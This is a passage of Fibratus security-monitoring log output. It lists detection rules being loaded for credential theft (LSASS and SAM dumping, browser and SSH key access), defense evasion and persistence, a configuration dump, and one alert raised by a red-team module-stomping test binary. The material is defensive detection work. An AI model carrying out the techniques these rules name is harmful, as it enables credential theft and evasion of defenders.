C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:43:31+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:43:31+01:00 level=info msg=bootstrapping with pid 14076. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:43:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true max-buffers=>36 min-buffers=>16 flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-image=>true enable-fileio=>true enable-dns=>false enable-thread=>true enable-mem=>false stack-enrichment=>true enable-registry=>true enable-audit-api=>true buffer-size=>512 enable-net=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true level=>info max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ durable=>false timeout=>5s url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus delivery-mode=>transient passive=>false enabled=>false] elasticsearch=>[ bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false template-name=>fibratus enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true sniff=>false flush-period=>1s index-name=>fibratus trace-log=>false timeout=>5s healthcheck-interval=>10s] http=>[ enabled=>false endpoints=>[] method=>POST timeout=>5s serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-allocs=>false skip-files=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:43:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:43:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:43:43+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 2714082 + Pid: 11144 + Tid: 16672 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 17:43:37.2148834 +0100 CET + Params: base_address➜ 1fbb19d0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11144, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.seq.link: 11651379566778919816, rule.name: Potential NTDLL memory unhooking, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 11144 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 2712815 + Pid: 11144 + Tid: 16672 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 17:43:37.3109651 +0100 CET + Params: status➜ The handle is invalid + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Potential NTDLL memory unhooking, rule.seq.link: 11651379566778919816 + + Pid: 11144 + Ppid: 17996 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T17:43:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:43:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:43:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:44:54+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml 